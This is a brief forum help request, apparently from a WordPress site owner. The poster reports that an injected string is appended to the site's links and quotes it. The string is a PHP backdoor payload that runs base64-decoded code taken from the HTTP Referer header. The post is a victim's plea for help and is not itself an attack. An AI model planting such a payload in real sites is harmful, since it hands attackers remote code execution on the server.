I've been trying to fix this for 4 hours now and can't seem to figure out what's wrong.
Dynamically generated links (posts, comments, etc) have the following appended to their ends.
%&({$eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
I've looked at countless hacked threads, php injection solutions, Googled everything I can think of, and I've done all of the steps to Hardening WP.
Any idea what's going on, or where to look next?